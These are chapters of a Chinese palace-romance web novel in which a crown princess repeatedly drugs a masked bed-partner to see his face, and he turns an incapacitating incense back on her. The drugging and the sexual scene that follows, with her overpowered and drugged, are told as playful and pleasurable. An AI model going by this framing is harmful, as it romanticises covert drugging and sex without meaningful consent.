《太子妃为何不侍寝》 第14章 滚,无脸怪 李玄尧嗔笑出声,面色无变。 “若是本宫派的,今日又何必准你来太池园?” “毕竟,多一事,不如少一事。” 江箐珂被说服了。 她点头道:“也有道理。” ...... 亥末时分的勤政殿,灯火依然通明。 年迈的衡帝端坐在龙椅之上。 虽已是鬓角斑白,面容沧桑的老人,可他眉目紧锁,眼神锋锐威严,周身都仍弥漫着生杀予夺的帝王之气。 “太子妃所说句句属实?” 江箐珂俯首跪在地上。 “回禀父皇,儿臣所言句句属实,刺客都蒙着面,加上当时夜色昏暗,儿臣并未看清刺客有什么特征。” “本想追出去捉拿刺客,却没曾想对方武艺高强,儿臣打不过,还被当成了人质。” 说话间,江箐珂下意识摸了摸侧颈上的伤,“险些成了刺客的剑下魂。” 一旁的惠贵妃因丧子之痛,已然忘了在君主面前该有的体统。 她怒指江箐珂,大声哭吼着:“搞不齐就是你杀的,对,一定是你杀的,不然太子妃为何会那么巧出现在戏楼里?” “皇上。” 惠贵妃扑通跪地,膝行至皇上身前,哽咽哭求。 “你可要替老三做主啊。” “太子妃她有杀害三皇子的嫌疑,请皇上明察。” 适时,李玄尧站出来,替江箐珂辩解。 “太子妃与三皇兄无冤无仇,为何要杀他?” 惠贵妃怒目看向李玄尧,眼底翻涌着滔天的恨意。 “太子妃与三皇子是无仇,可太子殿下就未必了。” “为了保住东宫之位,不惜残害手足,安排刺客和太子妃......” 啪的一声,皇上的一巴掌打断了惠贵妃的话。 “放肆!” 惠贵妃跪坐在地,捂着胀红的脸,泪水簌簌而落。 李玄尧则甩袍跪地,不紧不慢地替自己辩解了一句。 “若真是儿臣派人刺杀三皇兄,又岂会让太子妃同长公主一同去太池园游玩,落人口实。” “更何况,儿臣今日一直在这勤政殿里,听父皇与几位大臣议事,又如何得知三皇兄去太池园,及时安排刺客去刺杀三皇兄。” “儿臣一心只系社稷安危和天下民生,根本无心且无力去做残杀手足之事。” “还请父皇明鉴。” 皇上沉声道:“朕自有定夺。” 宫中的锦衣卫派出一批又一批,入宫报信的来了一波又一波,却始终没有刺客的消息。 待长公主李鸢入宫,替江箐珂言语了几句,衡帝才放她和太子李玄尧回去。 而三皇子的事则交由锦衣卫查办。 江箐珂回到凤鸾轩时,寝殿里漆黑无灯,而夜颜却在此候了她许久。 热气氤氲的浴室里,未点一盏烛火。 江箐珂第一次摸黑沐浴,眼上还戴着眼罩。 “还以为李玄尧放弃了,不再派你来跟我同房了呢?” 屋内静默无比,唯有水流的声响。 见夜颜不回应,江箐珂便泡在热汤里,懒声抱怨。 “一点光都没有,不戴眼罩也看不清你的脸,也不知你们怕什么。” 夜颜坐在池边,用葫芦瓢舀着池里的水,一次次地轻轻浇在江箐珂的肩头,半天也没个动静。 江箐珂倒也乐得自在。 反正周围乌漆嘛黑的,也不用担心身子会被夜颜瞧光光。 再说,绣娘花功夫和心血,做了那么多精致好看的眼罩,不戴也怪浪费的。 江箐珂泡在池中,闭眼回想今晚在太池园的事。 那个刺客,那双眼睛,一直在她脑海里挥之不去。 半晌,江箐珂撩着池中的水玩,同夜颜闲聊起来。 “我今天遇见一个很特别的人。” 夜颜没什么反应。 江箐珂早已习惯他无声的存在,遂自顾自地往下说。 “那个人生了一双异瞳,一个眼睛是深褐色的,一个眼睛是水蓝色的。” 夜颜在她肩头勾画出三个字。 【不怕吗?】 江箐珂回:“乍看第一眼时,确实被吓了一跳,还以为是什么妖怪呢。” 她轻笑了一声,又言:“但惊吓过后,便是惊艳。” 江箐珂回想着那个刺客的身形,还有那双眼睛,以及他看自己第一眼时的眼神。 不知为何,总觉得那刺客好像...... 认识她? 似是她突然变得太安静了,夜颜在她肩头写字问她:想什么。 “在想那个人。” 江箐珂若有所思道:“我觉得,他好像认识我。” 一笔一划,徐徐落在肩头。 虽然有些字江箐珂没感觉出来,可夜颜大致的意思,她懂了。 “你是说,我是太子妃,认识我的人很多?” 夜颜的指尖轻轻点了下她的肩,表示肯定。 “也对。” 想起那异瞳刺客身上的药香味儿,江箐珂转过身去,趴在浴池沿边,伸手一把抓住夜颜的衣袍,将他整个人朝自己又拉近了一些。 江箐珂主动把脸朝夜颜凑近了一些。 她不动声色地嗅了嗅,绸制长袍沾染了熏香的气味,可清幽的龙涎香中仍混杂着那淡淡的药香气。 龙涎香乃御贡之物,稀贵无比。 仅有皇亲贵胄和得圣上青睐的权臣才能用得起,平常人家是很接触得到。 而夜颜是李玄尧的心腹亲信,平日里常常出入他的书房、寝殿,衣服上沾染些龙涎香自是再正常不过。 唯独这药香气,是李玄尧身上没有的。 而今天那异瞳刺客的身上,也有这股子淡淡的药香气。 所以,杀三皇子的人,有很大的可能就是李玄尧派的。 而夜颜便是刺客之一,那个异瞳刺客? 似是想要验证自己的猜测,解开那个谜团,江箐珂对夜颜的身份、样貌,倒是越来越好奇了。 “夜颜,你身上为何总有股子药味儿,还怪好闻的。”她语气自然地问道。 可夜颜没回应。 江箐珂又问:“可是身子有疾,每日都要喝药?” 夜颜还是保持沉默。 接触了几次,江箐珂已经大概摸出了夜颜的性子。 他不想开口的事儿,任她怎么问,都问不出个所以然来。 索性,江箐珂也就不问了。 她总是能想出法子,给自己心中的疑惑寻个答案出来的。 “夜颜,我泡够了。” 江箐珂双手勾住夜颜的脖颈,命令道:“抱我出去!” 话音刚落,江箐珂被夜颜单臂从池中彻底捞起,带起一阵哗啦啦的水声。 待江箐珂擦干身上的水后,夜颜又霸道地将她拦腰抱在怀里,去了寝殿。 夜颜把她放到床上后,江箐珂决定用美人计试试。 她抓住他的衣袖,软声喃喃。 “夜颜,让我看看你的眼睛吧,就一眼,好不好?” “给我看一眼,今晚就准你睡在本宫旁边。” 夜颜在榻边坐下。 出乎意料的,竟然勾掉了江箐珂的眼罩。 可是殿内很暗,只有廊庑下宫灯透进些许光亮来。 江箐珂的脸朝夜颜凑近了几分,想借着那微弱的光亮看清他的模样,看清他的眼。 可是…… “太暗了,我看不清。” 江箐珂嘟囔了一句,夜颜便朝她的脸又主动靠近了几寸,近到唇峰碰着唇峰,轻轻一点,便成了一个吻,吻得人心里咯噔,吻得江箐珂脑子空白。 她怔在那里,想着夜颜便是那异瞳刺客,不知不觉间竟心如擂鼓。 一吻接着一吻,吻得她乱了呼吸。 就在要被夜颜欺身压下时,江箐珂回过神儿。 什么都没看清,还差点就着了夜颜的道。 擦了擦湿哒哒嘴巴,江箐珂对着夜颜的肚子就是一脚。 她扬声凶道:“滚!无脸怪!” “不给看脸,就别想爬我的床。” 第15章 三步倒 好奇这种东西,一旦有了,就很难忽略它的存在。 它会幻化成精怪,天天在脑子里蛊惑你。 自从怀疑他就是那异瞳刺客后,江箐珂每天都在打夜颜的主意。 她想看清他的眼,想看到他的脸。 可夜颜此人力气大,功夫好,实在是太难搞。 江箐珂为了能看到他的真容,决定用些下三滥的手段。 喜晴不负所托,耗时几日,终于从宫外搞来了她想要的东西。 一包药粉交到江箐珂的手中,喜晴悄声道:“此药名为三步倒,顾名思义,服此药者,三步以内,必昏厥,保证太子妃能看到替睡公子的真容。” 江箐珂将药粉紧紧攥在手里,笑得势在必得。 终于盼到夜里。 熄烛,蒙眼。 江箐珂倚坐在矮榻上的茶桌前,耐心等到夜颜来。 想骗夜颜上当,不能心急。 怕他起疑心,最开始,江箐珂只是自己抱着半坛子米酒喝。 直到夜颜扯过她的手,在她掌心写字问她为何突然要喝酒,江箐珂才开口提议。 “今夜心情不太好,要不,你陪我喝几口?” 夜颜的指尖在她手心点了下,表示同意。 摸起一个酒盏,江箐珂给夜颜倒了一杯米酒,又给自己倒了一杯。 两人接连碰了数杯,直到她手里那半坛子米酒快喝完。 倒完自己那杯,虽然还剩了些,江箐珂还是拿起新的一坛米酒,倒在了夜颜的那个酒盏里。 药粉已经事先兑在了那酒坛子里。 倒前晃一晃,药粉会和酒液融合得更均匀。 当江箐珂放下酒坛要举盏同夜颜碰杯时,夜颜却拍了拍的她手,拉着她做了个交杯饮的动作。 “你想喝交杯酒?” 夜颜敲了下她的脸蛋,意思为“是”。 能骗夜颜把药酒喝下去,怎么喝不是喝呢? 江箐珂应得痛快。 摸起酒盏,与夜颜脸靠近脸,手臂绕着手臂,喝了次合欢酒。 “夜颜。” 江箐珂晃悠悠起身,捂着太阳穴,瓮声瓮气地装起醉来。 “我好像有点醉了,你扶我到床上。” 衣料窸窣摩擦,夜颜起身,抚着她的手,一起朝床榻的方向走去。 江箐珂则在心里默默数着步数。 一步。 二步。 三...... 江箐珂在默数到三时,脑子里像乌央乌央进了水似的,混沌不清。 “步”字没数完,她就先没了意识。 扑通,一头栽进了夜颜的怀里头。 待意识回笼时,江箐珂已躺在床榻上,且殿外天光大亮。 她坐在那里茫然地愣了会儿神。 复盘起昨夜的情形。 她后知后觉,想定是在喝合欢酒时,酒盏被夜颜偷偷掉了包。 “太子妃,你终于醒了,可有哪里不舒服?” 喜晴听到动静,疾步撩起纱幔,碎步跑到床榻边。 “夜颜那狗东西呢?”江箐珂问。 喜晴答:“许是凌晨走的吧,奴婢来的时候,就没见到夜颜公子。” 江箐珂掀起被子瞧了瞧。 衣衫整齐,身上无酸痛之感。 昨夜应该是没被睡......吧? 喜晴拧着眉头,苦着脸问:“那药,该不会是太子妃喝了?” “......” 江箐珂被激出了血性。 夜颜的那脸皮子,她看定了。 她死死揪着被子,咬牙切齿道:“夜颜,你死定了!” 喜晴补刀。 “不是真名,咒也白咒。” 一计败,另想一计便是。 灌药这招是肯定行不通了。 江箐珂苦思冥想了大半日,看着殿内香炉里飘出的袅袅青烟,脑内忽然灵光一闪。 她问喜晴道:“你说,有没有种香,闻者会浑身无力?” 喜晴拍了拍胸脯,有应必答。 “包在奴婢身上。” 江箐珂将一包银子塞给喜晴。 几日后,喜晴不负期望,将一盒熏香粉捧到了江箐珂的面前。 “太子妃,快看,这是奴婢托位小公公在外面买来的。” 喜晴杏眼晶晶亮,好像比江箐珂还兴奋。 “此香名为七荤八素软筋欢。” 江箐珂蹙着眉头,掀开盒盖,小心翼翼地轻嗅了一下。 “名字又长又花哨,靠谱吗?” 喜晴点头如捣蒜。 “那小公公说这香是教坊司和青楼里用的,凡闻此香者,有气无力,任人宰割,保准能让那夜颜公子软在太子妃的手里,想怎么摆弄就怎么摆弄,更别提一睹真容了。” 江箐珂撑腮,看着那盒香。 她忽然意识到一个问题。 “夜颜闻了这香会有气无力,与他共处一室的我,不也连带着变成软骨头了?” 有气无力对软骨头,谁又能拗得过谁? 喜晴眉眼一弯,笑得狡黠又神秘。 她又从怀里掏出一个小盒子,盒子打开,里面静静躺着一个小药丸。 “奴婢当然也有准备咯。” 江箐珂眼睛一亮:“解药?” 喜晴再次点头如捣蒜。 “小公公说了,点香时,将此丸含在口中便可。” “不愧是你啊,够机灵啊。”江箐珂伸手接过,“你喜欢的那个玉镯子,赏你了。” 喜晴笑得美滋滋:“谢谢太子妃。” 香有了,接下来便是火折子和烛灯。 自江箐珂上次一闹,差点点了东宫,凤鸾轩的火折子和烛灯都是有数的。 到了夜颜要来的那晚,太监和宫婢们便会把火折子和烛灯都拿走,一个都不留。 不仅不留,还怕江箐珂和喜晴偷藏,每晚都要搜下身,殿内的每个犄角旮旯也都要查一查。 如今,喜晴在宫里也算是有点人脉了。 她认识御衣局的一位绣娘,绣娘们夜里赶活,多的是蜡烛和火折子。 塞了点银子,她背着东宫的人,带了个火折子和蜡烛给江箐珂。 “藏在哪里好呢?” 喜晴环顾寝殿,知道曹公公的人做事极其心细,每晚查房是要连被子都要掀起来看看的。 且曹公公知晓江箐珂与喜晴二人有点身手,能爬梁上房。 所以,每晚还会另外派个身手极好的太监,跳到房梁上再检查一遍,以防她们主仆二人把蜡烛和火折子藏上面。 可以说,防范做得滴水不漏。 江箐珂看着整个寝殿,发了半天的愁。 到底该把这两样东西藏哪儿呢? 琢磨了半晌,她有了主意。 时日夜里,再次盼来了夜颜。 第16章 七荤八素软筋欢 七荤八素软筋欢是估摸着夜颜快来前才点的。 殿内香气缭绕,江箐珂含着药丸,蒙着眼罩,老神在在地躺在美人榻上等他。 殿门应声而开,清风席地卷入,冲淡了殿内熏香的味道。 夜颜踱步走到美人榻前,在江箐珂的身侧缓缓坐下。 江箐珂仍装高冷不搭理人。 是时,夜颜拉起她的手,在她手心慢慢写下几个字。 【香换了?】 江箐珂瓮声瓮气地回了句,语气拿捏得好像是件再寻常不过的事。 “嗯,应该是喜晴换了吧。” “以前的香闻腻了,我前几日提过一嘴,她便放在了心上。” 话题自然转换,江箐珂问:“今天怎么没带吃的给本宫?” 夜颜又在她掌心写:忙。 江箐珂懒洋洋地卧在那里,没再搭话。 夜颜便慢慢腾腾,一个字一个字地在手心勾写。 【明日,想吃什么?】 “你买什么,就吃什么呗。” 江箐珂不咸不淡地回了一句,耐心等待熏香的药性发作。 被风吹散的香重新凝聚,味道变得愈发地浓重。 江箐珂蒙着眼,则只能凭听觉去感知周遭。 殿内很静,静得能清晰地听到夜颜的呼吸声。 他的呼吸在变,由先前的平缓有力,渐渐变得急乱且短促,握着江箐珂的那只大手也在不断地一紧再紧。 然而,夜颜再怎么用力抓她,亦是徒劳,那五指的蜷缩都变成了无力却又暧昧的摩挲。 唇角轻扬,江箐珂扯下眼罩,在黑暗里笑得得意。 可偷笑之余,她又暗自思忖,都这样儿了,夜颜也没出个声儿,喊殿外的曹公公进来,莫非真是个哑巴? 只听夜颜用拳敲了几下美人榻的扶栏。 可那沉闷的几声,殿外的人根本听不到,就算听到了,也会误会成床笫之事弄出的声响。 夜颜挣扎起身,可虚弱无力的他双腿瘫软,又跌坐回美人榻上。 如喜晴所言,七荤八素软筋欢果真好用。 夜颜被熏得七荤八素,神志不清,四肢无力,就跟菜板子上的鱼,可以任由她江箐珂摆弄。 “夜颜。” 江箐珂倦怠起身,装腔作势地扮体贴。 “可是哪里不舒服?” “来,让本宫扶你躺下休息。” 将夜颜放倒在美人榻上后,江箐珂便迫不及待地要去找火折子。 借着一点微弱的夜光,她摸到书案前。 为了掩人耳目,她把火折子涂上了墨汁,当成墨砚放在收纳墨砚的盒子里。 宫婢和太监们打眼一瞧,黑不拉几的,也没瞧出来。 估计也想到江箐珂会玩障眼法。 找到火折子,江箐珂又摸黑去翻蜡烛。 蜡烛被她藏在殿内的那盆兰花里。 兰花娇气难养,水多了不行,水少了也不行,盆土要有极好的透气性,因此盆里有一半是砂土。 稀松干爽,正适合藏蜡烛。 万事俱备,只差燃烛。 江箐珂回到美人榻前,拿出火折子点燃了蜡烛。 微弱的烛光闪烁跳跃,成了殿内唯一的光亮。 虽然还是很暗,但想看清一个人的脸,已经足够。 夜颜用衣袖挡着脸,躺在那里虚喘着。 “来吧,夜颜小宝贝儿。” 江箐珂手执烛火凑到夜颜的脸庞,并抬手欲要拨开他的手。 “今夜就让本宫看看你长什么鬼样子。” 袖袍被她一点点拽开。 入目的先是粗细适中的眉毛,再是…… “啧。” 江箐珂不耐烦地斥责:“找抽是不是,闭眼睛干嘛?” 她伸手要把他眼睛扒开瞧瞧。 可手指头还没等碰到他上眼皮,江箐珂就被夜颜以迅雷之势锁了喉,眼睛也同时被捂个严实。 眼皮上传来湿濡黏腻的触感,而鼻尖下除了浓重的熏香味儿外,还有股子血腥气。 江箐珂下意识惊觉,夜颜应是趁她疏忽之时,用疼痛放血来降低药性。 她气得直咬后槽牙,费力出声:“让看一眼……会死啊!” 紧箍在脖颈的手臂骤然收紧,江箐珂被他勒得本能地张嘴呼吸。 可谁知,夜颜却在此刻趁机而入...... 江箐珂下狠咬他舌头。 脖子上的手臂则相应地勒得愈发用力。 她用蜡烛去烧他的脸,蜡烛却被他转头一口给吹灭。 温软重新压下。 待触碰到那粒含在口中的解药,舌尖轻轻一卷,便勾到了他那边去。 江箐珂想咬人报复,夜颜却见好收唇而去。 殿内熏香浓郁,没了那药丸,药性渐渐生效,身体开始乏软无力。 相反,夜颜含着那剩了一半的药丸,意识愈发清明,手臂上的力气也越来越强劲。 拗不过,拗不过。 江箐珂反倒成了菜板子上的鱼,任由夜颜宰割。 夜颜狡诈至极,不再吻她,很怕她再从他口中夺了那药丸去。 大手捏着她的腰身,时轻时重。 两瓣温软则情难自已地在她颈间、锁骨间游移,留下一片片滚烫湿热。 “夜颜,你混蛋!” 江箐珂连骂句话都是有气无力的。 那落在夜颜身上的拳头,都成了欲拒还迎的打情骂俏。 似是对她阴谋诡计的惩罚,今夜的夜颜不再守那君子做派。 裙带垂落在榻边,衣襟被他一点点用嘴衔开。 …… 江箐珂被抱起放下,放下又抱起。 而她也只能软塌塌地趴在夜颜的身上,尝着自己种下的恶果。 虽然气,可......恶果的滋味也不是完全那么恶。 上天入地的,销魂异常。 让人不知到底是熏香使然,还是情欲使然。 夜颜因无法发声呢喃,只能拉着她的手,引导江箐珂的指腹触碰他的唇。 唇瓣翕合,滚烫的气息穿过她的指缝。 不是亲吻,而是夜颜在无声地跟她说着什么。 可单凭触碰,江箐珂根本辨别不出他要说的话。 更何况,她被熏得脑子也不灵光,只能窝在他身下哼哼唧唧。 “夜颜,你等我明天非抽死你。” 她嘴上骂着、愤恨着,用那点可怜的力气咬着他的侧颈和肩头,可不痛不痒的,倒成了欲拒还迎的调情。 殿内升温,纱幔轻舞,旖旎缱绻混在熏香中,让人一次接一次地醉生梦死,然后在精疲力尽后沉睡。 半睡半醒间,江箐珂感知到夜颜亲吻她的脸,指尖在她脸颊上轻轻勾画不停写着字。 借着几许清明,江箐珂去感受笔画的走向。 先是一个“小”字,后是..... 笔画数繁多复杂,很难辨识。 但凭那明显的三点水,江箐珂猜测是个“满”字。 寂静的夜,她好像听到了夜颜在她耳边的无声呢喃,一遍遍唤她:小满。 小满未满,夏日犹长。 美好的时光还很多,这个乳名确实比满满好。 第17章 揭密夜颜的身份 翌日醒来,夜颜人早已不见踪影,徒留满床荒唐的痕迹。 江箐珂气自己无用蠢笨,气夜颜诡计多端,她捶被、捶床、扔枕头,大清早的好一通发泄。 “夜颜!” 她咬牙切齿,气呼呼地攥拳道:“看我晚上不抽死你。” 想起昨夜那两次要命的折腾,江箐珂立马让喜晴拿来了避子丸。 避子丸也是她以防万一,让喜晴花好多银子委托宫人,从外面的医馆偷偷买来的。 害怕被曹公公发现,都是当成清心丸藏在药瓶里的。 小心思几次都未得逞,还被人从头到脚吃了个够,江箐珂心里不舒坦。 喜晴见主子气不过,开始给江箐珂出主意。 “太子妃,要不咱们在这床榻上设个机关,弄张大网。” 她边说边比划,“您呢,先用美人计把夜颜公子勾上床,然后趁其不备按机关,用大网活擒他,此法如何? 江箐珂想了想,神色有些模棱两可。 “先不说按下机关,本宫会不会也被大网给套住。就说这机关,你会设吗?” 喜晴信誓旦旦道:“咱们西延军营里,火头军那边为了给军中兵将改善伙食,时常到山上打野味儿,设机关下大网。” “奴婢跟火头军里的一位大伯去套过几次野鸭子,奴婢应该能成。” 江箐珂瞠目结舌。 “你用套鸭子的法子,套夜颜?” 她立即摇头否决。 “也不知吃什么长大的,他一身子牛劲儿,能套住才怪呢。” 江箐珂数着指头跟喜晴掰扯。 “再说,机关如何弄?” “那大网怎么拿进宫?” “凤鸾轩进进出出的奴才都是曹公公的人,又如何能瞒得住曹公公?” “瞒不住曹公公,就瞒不住李玄尧。” “瞒不住他李玄尧,就瞒不过夜颜那牛郎。” 思来想去,这个计划可行性不大。 正在主仆二人还在苦思冥想如何设计夜颜呢,曹公公带着一长串的太监和宫婢来了。 曹公公托着拂尘,喜眉笑眼道:“殿下听闻太子妃昨夜侍寝辛苦,特意吩咐奴才来送些补品和稀奇好玩的宝贝,以此来犒劳太子妃。” 曹公公眼神一递,小太监和宫婢们纷纷将手里的赏赐端了上来。 什么燕窝、人参、灵芝、桃胶,光是补品就够摆两桌子了。 另外还有一些珊瑚手串和雕工精致的首饰、胭脂水粉,以及上好的面料绸缎。 落在别人眼里是该欢喜的赏赐,可此时此刻落在江箐珂眼里,怎么瞧,怎么是赤裸裸的讽刺。 看得她很是恼火。 曹公公把东西送完便带着宫人退着步子往外走。 江箐珂突然想起件事来,又叫住了曹公公。 “本宫有件事想问问曹公公。” 曹公公答:“太子妃请问。” “为何那夜颜身上总有股子药香气,该不会是有什么隐疾吧?” 江箐珂边说边观察曹公公的表情。 “太子殿下不能人道本宫也就认了,再派个病秧子给我,这终究是说不过去吧?” 夜颜这个称呼,如今在曹公公和李玄尧那里也达成了共识。 只要她提起此名,就知道在说夜里给太子替睡的那位。 曹公公讪笑回道:“太子妃尽管放心,这夜颜公子可是殿下亲选的,不仅身手好,力气也够大。” 这点江箐珂倒是认同。 那夜颜可以空手捶猛虎,一身的牛劲,她打都打不过。 这皇宫里确实是个卧虎藏龙之地。 随随便便拎出一个贴身侍卫和黑甲卫,都能抵西延四五个士卒小兵,两个副将先锋的。 若是都能送到前线打仗,谁还敢侵犯大周疆土? 只听曹公公又解释道:“至于这药香气,太子身边的亲信除了一些文臣谋士外,大都是习武练家伙的。” “平时出去替太子办事或者练武切磋,少不了要磕磕碰碰,受些伤什么的。” “身上涂些治疗跌打损伤的药膏,或泡泡缓解淤青酸痛之症的药浴,都是家常便饭。” “久而久之,难免会腌入味儿了。” 一旁的喜晴听后被逗笑了。 “公公这话说的,那再过不久,夜颜公子岂不是就可以上锅蒸了啊。” “咳!” 曹公公笑道:“咱家这不是想说得贴切些,让太子妃好理解嘛。” 江箐珂坐在那里沉思。 曹公公说的话倒也在理。 可若真如曹公公所言,夜颜身上的药香气不是他独有的,那就代表太池园那晚的异瞳刺客未必是夜颜。 而夜颜也可能只是东宫里极其普通的一个侍卫,或一名黑甲卫,又可能是传说中皇室之人培养的高手暗卫,更有可能是太傅白隐或者那个……奇奇怪怪的慕容公子。 所以,想确认夜颜的身份,不能只看眼睛。 他胸口的伤疤,才是揭秘夜颜身份的关键。 …… 可能是怕江箐珂抽他,夜颜那个怂货一连几夜都没出现。 搞得江箐珂的那点火气无处可泄,最后都被无所事事的自在日子给耗没了。 今日。 左丞相母亲的七十大寿。 江箐珂作为太子妃,须同李玄尧去贺寿。 华服披身,凤钗簪头,她端着惯有的冷傲姿态,走到宫门外的马车前。 李玄尧早已在马车里候了她多时。 而一群太监、侍卫见到江箐珂,齐刷刷地躬身行拜。 江箐珂清清冷冷地瞧了一眼,视线在李玄尧的贴身侍卫身上停留了片刻。 来东宫已有些时日,这人江箐珂也认得七七八八的了。 谷丰、谷羽、谷俊、谷昭,各个身材高大健壮,倒是跟夜颜的体型近似。 从四人身边经过时,江箐珂都没细闻,就有股子熟悉的药香气随风灌入鼻腔。 跟夜颜身上的味道很像很像,且味道更强。 江箐珂驻足,侧眸问了一句。 “怎么一股子药味儿,谁受伤了?” 谷羽站出来。 “回禀太子妃,属下昨日练双刀,不小心伤到了,涂了些跌打损伤膏。” 谷昭也跟着道:“属下昨日休沐,在家练桩,扭伤了筋骨,也涂了些药。无意烦扰到太子妃,还请太子妃恕罪。” 还真如曹公公所言。 可不知为何,江箐珂总觉得哪里怪怪的。 怎么说呢,觉得巧合得有点刻意。 她歪了歪头,在喜晴的搀扶下若有所思地上了马车。 第18章 有点夜颜那意思 马车朝丞相府缓缓而行。 车上的两人,如同陌生人一般,谁也不搭理谁。 一个闭目养神,一个则推开车窗,瞧着京城街巷上的热闹。 瞧着瞧着,江箐珂的视线就跑了偏。 谷俊和谷羽在她这一侧,骑着马,一前一后。 谷俊正好在江箐珂车窗的斜后方,江箐珂一撇头,就能看见他。 他腰间配着长剑,骑着高大的黑马,紧跟在马车的旁边,时刻警惕着周围。 江箐珂仰着面颊打量他。 剑眉凤眸,鼻梁高挺,紧抿的红唇肉感十足,很是好亲。 视线向下,宽肩窄腰,胸膛结实而挺拔。 有点夜颜那意思。 曾在夜里与她缠绵云雨的那个哑巴,瞬间就有了脸。 甚至连亲吻、抚摸和喘息,都在此刻具象化。 江箐珂遐想联翩。 谷俊似乎早已察觉到她的凝视,不自在地偏头看了看别处后,怯怯朝车窗看过来。 隔着不大不小的车窗,两人目光相撞。 懵懵懂懂,恍恍惚惚的一个对视。 还不等江箐珂作何反应,那谷俊倒像是做了什么亏心事似的,只瞧了她一瞬,便立马恭敬颔首,脸红过耳地闪开了视线。 他双腿夹了下马,走到了谷羽的身侧,将背影和后脑勺留给了江箐珂。 江箐珂开始琢磨,要是能把这几个侍卫的胸都扒开瞧一眼,就好了。 “在瞧什么?” 身侧突然传来李玄尧的声音。 江箐珂直身正坐,懒声回道:“殿下该问在想什么。” “在想什么?”李玄尧冷声又问了一遍。 “妾身在想,夜里冒充殿下与我同房的,可是这四名贴身侍卫之一?” 李玄尧哼笑了一声,手指有一下没一下地敲着膝盖,又阖上了眼。 “想猜,就慢慢猜吧。” “让本宫看看爱妃最后能不能猜中。” 恶心人办恶心事,还说风凉话。 江箐珂也故意拿话恶心他。 “有种殿下就给妾身多送几根轮着用,区区一根......” 她撇嘴看向窗外,嫌弃道:“小气!” 李玄尧也不闭目养神了,瞠目结舌地看着江箐珂,好像在看个怪物一般。 半晌,他吐出两个字。 “粗俗。” “无耻。” 江箐珂反讽。 像李玄尧这种不行的男子,成什么婚,争什么皇位? 为了一己私欲,毁她终身幸福! 想想就来气。 车内氛围又冷了下来。 两人继续无言,直到马车在左丞府门前停下。 临下马车前,李玄尧冷声叮嘱。 “不想人头落地,就管好你的嘴,什么话该说,什么话不该说,心里有个数。” …… 寿宴上,宾客席分为两区。 一边的水榭亭台皆是男子,一边则是各府女眷,中间隔着一个锦鲤池。 刚嫁东宫不久,江箐珂对京城里的世家大族、高官权宦还不太了解,对各府夫人贵女更是毫不知晓。 在一双双审视的目光下,江箐珂也不怯场。 她昂首挺胸,雄赳赳,气昂昂地走进宴席厅,仿若所有的人和事在她眼里皆为刍狗。 一番繁缛礼仪后,各自落座。 在贵客之位落座后,余光瞥见几名贵女手持团扇,挡着面容,正交头接耳地蛐蛐着什么。 江箐珂虽未细听,可偶尔也能听到只言片语。 “白太傅好生清俊。” “是啊,学士品貌样样俱全。” 江箐珂撑头,隔着刚锦鲤池,朝对面的宴席望去。 白隐刚到,恭谦有礼地同左丞大人寒暄了几句后,在李玄尧的身旁落座。 只听一旁又有几位官夫人低声聊起白隐来。 “不知这位白太傅可有定下亲事?” “当年白太傅刚中探花时,听说倒是被人榜下抢婿订了亲,只是不知为何,那亲事又被对方给退掉了。” 另有为官夫人似是知晓详情,插了几句话。 “好像是因为白大人性情木讷死板,不通人情世故,每日除了研究学问,就是做木工玩木头。” “本就是清贫百姓出身,又不懂风情,哪个好人家的女儿愿意嫁给一个木头疙瘩。” 木工? 江箐珂忽然被这两个字吸引了注意力。 她忽然意识到,手上长有薄茧的人,未必就只有握剑拿弓这一种可能。 常做木工,手上也会长茧。 思及至此,江箐珂不由地又多打量了白隐几眼。 夜颜的脸也从侍卫谷俊,变成了太傅白隐。 可夜里的夜颜木讷呆板吗? 但也不好说。 说不定白太傅扮猪吃老虎,文武双全呢。 且他沉迷卯榫之道,也必定深谙打桩之术。 说不定就是白日君子,夜里时风流的伪君子呢。 若夜颜真不是个哑巴,能憋得住这么久一声不发,还真得白太傅这种性子才能做到。 所以,太傅白隐也可能是夜颜? 推测虽有些牵强,可不代表没有可能。 席宴进行到一半,一些年纪尚小的贵女们坐不住,便三五成群地起身去别处聊了。 江箐珂与席上的人不熟,见状,也客套应付了几句场面话后,便带着喜晴去相府的花园透气。 途经一片竹林,她听到深处的凉亭里有几名贵女在闲聊。 聊的主角都是她。 江箐珂好奇别人是怎么看她的,便驻足听了会儿。 有瞧不起她是将门出身的,有嫌弃她不是在京城长大的,也有看不上她高傲姿态的,还有不服她能高攀东宫太子的...... 话题聊着聊着,主角又从江箐珂,变成了李玄尧。 “还以为太子殿下不喜女子呢。今日一看,太子殿下也不似传言那般清心寡欲、不近女色啊,我看他与太子妃入门时相敬如宾,也蛮好的嘛。” “逢场作戏罢了。” “我看也是,毕竟是皇上赐婚,面子功夫总是要做的。” “这个江箐珂也是命好。当年,若非穆汐姑娘家中生变,成了罪臣之女,到教坊司当了官妓,太子妃之位哪能轮到江箐珂啊。” “何二姑娘的言外之意是太子殿下一直不娶妃纳妾,实则是对穆汐姑娘念念不忘?” “那自是当然。穆汐怎么说也是前太傅兼内阁首辅穆大人之女,自小便同他哥哥在宫内,给殿下和长公主做伴读,与太子殿下关系最是亲密。” “两人青梅竹马,郎才女貌,谁瞧一眼不说般配?” “更何况穆姑娘还对太子殿下有救命之恩,两人情义自是深厚的。” “这么说来,太子殿下竟也是个痴情种。” 另有一名贵女“嘶”了一声,悄声反驳。 “可我近些日子怎么听坊间传言,说是太子殿下年前外出狩猎时,不幸坠马,被马蹄伤到了根基,那个都碎了……” “嘘!这话可不能乱说。” 有人压低声音提醒:“储君之争向来如此,想来是有心之人故意造的谣吧。” “造谣......平白无故的,谁敢造这个谣?” “殿下到底行不行,等些日子不就能知晓了。若是太子妃的肚子一年半载都没消息,那就不好说了。” …… 第19章 李玄尧的怀柔策略 江箐珂是生在西延、长在西延,对京城里的皇室、权臣世家,自然是一点都不清楚。 今日倒是多亏这几名贵女,听了点李玄尧的八卦。 嚼舌根是人家的自由,虽然有些话是说她江箐珂,可江箐珂懒得跟这些京城小女子们计较。 于是,便带着喜晴去别处溜达。 走着走着,便见曹公公行色匆匆地迎面跑来。 “哎呦,太子妃,您真是让奴才好找啊。” 江箐珂冷着脸,不咸不淡地问:“急什么,难不成是担心本宫跑了不成?” 曹公公抬手擦了擦额头的汗,气喘吁吁地回她。 “启禀太子妃,有人偷偷给殿下的酒里下了毒,那替殿下试毒的小太监喝了酒后,当场毙命。” “出了如此大的事,左丞相已经将府上的下人都传过去一一盘问。” “眼下相府已乱成了一锅粥,太子殿下便命奴才来寻太子妃一起回东宫。” “下毒?” 江箐珂听了不免心惊。 